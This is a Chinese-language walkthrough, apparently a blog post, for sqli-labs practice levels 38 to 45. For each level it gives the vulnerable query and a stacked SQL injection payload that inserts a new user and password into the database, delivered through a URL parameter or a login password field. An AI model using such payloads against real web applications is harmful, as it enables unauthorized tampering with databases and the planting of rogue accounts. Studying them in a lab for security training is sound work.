sqli-labs Less-38、39、40、41、42、43、44、45（sqli-labs闯关指南 38、39、40、41、42、43、44、45）

Less-38

Less-39

Less-40

Less-41

Less-42

Less-43

Less-44

Less-45

关于堆叠注入的简介前面已经介绍过了，可以参考：第三部分/page-3 Stacked injection 堆叠注入_m0_54899775的博客-CSDN博客

Less-38

源码：

在执行 select 时的 sql 语句为：SELECT * FROM users WHERE id='$id' LIMIT 0,1可以直接构造如下的 payload：

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

查看数据库：

发现已经添加成功。

Less-39

源码：

和 less-38 的区别在于 sql 语句的不一样：SELECT * FROM users WHERE id=$id LIMIT 0,1
也就是数字型注入，我们可以构造以下的 payload：

?id=1;insert into users(id,username,password) values ('39','less39','111')--+

查看数据库：

已经插入了数据。

Less-40

源码：

本关与前两关都是类似的，唯一的区别是sql语句不太一样，本关的 sql 语句为 SELECT * FROM users WHERE id=('$id') LIMIT 0,1。

我们可以构造以下的 payload：

?id=1');insert into users(id,username,password) values ('40','less40','111')--+

查看数据库：

添加数据成功。

Less-41

源码：

此处与 less-39 是一致的，区别在于 41 错误不回显。所以我们称之为盲注。我们可以构造以下的 payload：

?id=1;insert into users(id,username,password) values ('41','less41','111')--+

查看数据库：

发现账户及密码被添加成功。

Less-42

源码：

Update 更新数据后，经过 mysql_real_escape_string()处理后的数据，存入到数据库当中后不会发生变化。在 select 调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入，这关和二次注入的思路是不一样的。

Password 变量在 post 过程中，没有通过 mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行攻击。
登录用户名随意
密码登录用以下的方式：

ccc';insert into users(id,username,password) values ('42','less42','111')#

注：将type修改为任意字符是为了方便查看输入的信息，实际没什么作用。

显示登陆失败，查看数据库中数据：

发现数据是添加成功的。

Less-43

源码：

此关与Less-42关几乎相同，不同的是sql语句，因此这里Password处可以构造下面的payload：

ccc');insert into users(id,username,password) values ('43','less43','111')#

用户名随意。

注：将type修改为任意字符是为了方便查看输入的信息，实际没什么作用。

显示登陆失败，这里进行数据库的查看：

发现用户名和密码也是添加成功的。

Less-44

源码：

本关是基于盲注的，这里盲注主要是要没有报错信息，所以要采用盲注。这关与 42 关的区别就在于没有报错信息，同时，我们使用同样方式的 payload：

cc11c';insert into users(id,username,password) values ('44','less44','111')#

用户名还是随意输入：

注：将type修改为任意字符是为了方便查看输入的信息，实际没什么作用。

显示登陆失败，查看数据库：

发现用户名密码添加成功。

Less-45

源码：

同样的，45 关与 43 关的 payload 是一样的，只不过 45 关依旧没有报错信息。构造下面的payload:

用户名随意

Password：334');insert into users(id,username,password) values ('45','less45','111')#

显示登陆错误，查看数据库：

用户名和密码已经添加成功。